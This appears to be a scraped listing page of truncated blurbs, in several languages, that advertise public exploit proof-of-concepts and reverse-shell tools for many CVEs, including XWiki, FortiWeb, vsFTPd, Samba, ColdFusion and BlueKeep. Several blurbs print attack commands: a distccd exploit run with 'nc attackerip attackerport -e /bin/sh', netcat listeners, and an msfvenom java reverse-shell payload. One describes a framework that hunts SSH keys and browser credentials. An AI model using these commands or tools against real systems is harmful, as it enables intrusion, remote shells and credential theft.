CVE-2026-90770

Spug through 3.4.0 contains a remote code execution vulnerability in the pingcheck function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/runtest/...

CVE-2025-49132

CVE-2025-49132-POC 我出于个人挑战制作了这个PoC，灵感来自0xtensho 旨在提供更清晰的输出，仅用于反弹shell 用法： root@kitploit: 先更改主机和监听器变量 python3 CVE-2025-49132POC.py 免责声明 法律免责声明：本概念验证（PoC）仅供教育目的。作者不对因使用本程序造成的任何滥用或损害负责。未经授权访问计算机系统是犯罪行为。使用本工具即表示您同意对自己的行为承担全部责任。请自行承担风险使用。...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 ./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check Safe and unsafe vulnerability/verify check: will only use 'unsafe check' if not verified with 'safe check' $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot Unsafe...

CVE-2026-90770

Spug through 3.4.0 contains a remote code execution vulnerability in the ping_check function (located in the monitor app). The root cause is that user-supplied monitor addresses are interpolated directly into shell commands without validation , allowing authenticated users with monitor permission...

CVE-2026-90770 Spug through 3.4.0 Remote Code Execution via ping_check

Spug through 3.4.0 contains a remote code execution vulnerability in the pingcheck function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/runtest/...

EUVD-2026-76991

Spug through 3.4.0 contains a remote code execution vulnerability in the pingcheck function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/runtest/...

CVE-2020-15778

CVE-2020-15778 简介 本仓库复现了 CVE-2020-15778。 步骤 1. 构建 scp 服务器和客户端的 Docker 镜像 root@kitploit: cd client docker build -t client-cve . root@kitploit: cd server docker build -t server-cve . 2. 在容器中启动 scp 服务器。 root@kitploit: docker run -d -P --name scp-server server-cve 通过以下命令获取 scp 服务器的内部 IP 地址：...

distccd_rce_CVE-2004-2687

此脚本的目标不是使用 Metasploit，而是手动执行。 用法： root@kitploit: nc -lvnp 4466 运行漏洞利用： root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

nfsen-exploit

nfsen-exploit 针对 nfsen 1.3.7 中 CVE-2017-6971 远程命令执行漏洞的利用程序。 已在 Ubuntu 上测试，可能适用于所有系统。 漏洞发现者：Paul Taylor/Foregenix Ltd 用法： python exploit.py 这会在远程机器上生成一个 root 权限的 shell。...

samba-trans2open-exploit-report

Samba Trans2Open エクスプロイトレポート このリポジトリは、仮想Linux環境上のSamba Trans2Open 脆弱性（CVE-2003-0201）を悪用する完全な技術的ウォークスルーを含んでいます。 この悪用は、教育および倫理的なハッキングトレーニングを目的として行われました。 レポート内容 netdiscover、nmap、whatwebなどのツールを使用したネットワークおよびサービスの発見 脆弱性の特定とCVEマッピング Metasploitとリバースシェルペイロードを使用した悪用 ターゲットシステム上でのルートアクセスの取得 脆弱性を軽減するための保護技術...

CVE-2025-56383

Уязвимость root@kitploit: Тип атаки: DLL Hijacking DLL劫持 Целевое приложение: Notepad++ Метод: Файл NppExport.dll загружается Notepad++ из рабочей директории Реализация Вредоносная DLL содержит: root@kitploit: Экспортируемые функции оригинальной библиотеки для обеспечения совместимости Reverse...

paint2die

最简单且最可靠的 RichFaces Paint2DResource CVE-2018-12533 RF-14310 漏洞利用工具 安装 • 使用 • 运行 Paint2Die 安装说明 root@kitploit: git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt 使用 root@kitploit: ./paint2die -h 这将显示该工具的帮助信息。以下是它支持的所有选项。...

CVE-2025-24893-PoC

CVE-2025-24893-PoC XWiki の認証されていない RCE エクスプロイト 影響を受ける XWiki バージョン バージョン 15.10.11 バージョン 16.4.1 バージョン 16.5.0RC1 脆弱性の説明 影響を受ける XWiki バージョンには、SolrSearch マクロ内の安全でない Groovy 式の処理に起因するリモートコード実行の脆弱性が含まれています。認証されていない攻撃者がリモートから任意の Groovy コードを実行し、リバースシェルを取得する可能性があります。 概念実証...

CVE-2025-25257

CVE-2025-25257 Exploits for CVE-2025-25257 released by watchtowr and others I found on github did not work on my installations of fortiweb downloaded from the official vendor website. I ripped some of these exploit codes to make a poc capable to pop a reverse shell on my environment. IP address a...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit 针对 XWiki SolrSearch 的未授权 RCE PoC CVE-2025-24893。命令执行 + 反向 Shell。 CVE-2025-24893 – XWiki SolrSearch RCE PoC 针对 XWiki SolrSearch 模板注入导致未授权远程代码执行的概念验证。 已在 XWiki Debian 15.10.8 （修复版本：15.10.11 / 16.4.1 / 16.5.0RC1）上测试通过。 ⚠️ 仅用于教育目的。请勿在未经授权或明确许可的系统上运行。 功能 通过...

vsFTP-2.3.4-Remote-Root-Shell-Exploit

vsFTP 2.3.4 远程 Root Shell 漏洞利用 一个简单的 Python 程序，通过利用 vsFTP 2.3.4 中存在的漏洞 CVE-2011-2523，在目标设备上获取远程 Root Shell。 环境要求 使用的语言 = Python3 使用的模块/包： socket os pexpect paramiko getpass datetime optparse colorama multiprocessing time 安装依赖： root@kitploit: pip install -r requirements.txt 结果 成功利用漏洞后，我们可以直接以 root...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-反弹Shell 针对CVE-2024-28397的反弹Shell。 漏洞利用适用于 js2py = v0.74 要求 requests库（pip install requests） Python3 Netcat（或可用于监听反弹Shell的工具） 使用方法 监听端 root@kitploit: nc -lnvp 4444 利用端 root@kitploit: python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11 --localport 4444...

CVE-2019-0708-POC

CVE-2019-0708-POC 为 CVE-2019-0708 工作的概念验证，生成远程 shell。 使用 python3 运行， 示例 python3 CVE-2019-0708-windows.py 需要为 linux 和 Windows 准备不同版本。 出于明显原因进行了混淆。...

LFI-Destruction

🔥 LFI-Destruction – 認可されたペネトレーションテストフレームワーク LFI-Destroyerは、認可されたセキュリティ専門家向けに設計された、包括的でモジュール式のLocal File Inclusion（LFI）悪用フレームワークです。複数の攻撃手法を1つの使いやすいツールに統合しています： SSH & ブラウザアーティファクトファジング – LinuxおよびWindows上でSSHキー、Putty PPK、WinSCP、FileZilla、Firefox、Chrome、Edge、Braveの認証情報をハントします。 ログポイズニング → リバースシェル –...

CVE-2023-26360-RCE

CVE-2023-26360 - ColdFusion 2021 上的远程代码执行 有时，脚本在第一次尝试时不会生效。多试几次即可 如何执行 使用 msfvenom 创建载荷 root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java 启动 server.py 该服务器将在使用 cve.2023-26360.py 完成初始访问后，将载荷发送到 Coldfusion 服务器，因此需要先启动它。 root@kitploit: python3 server.py 8000 参数...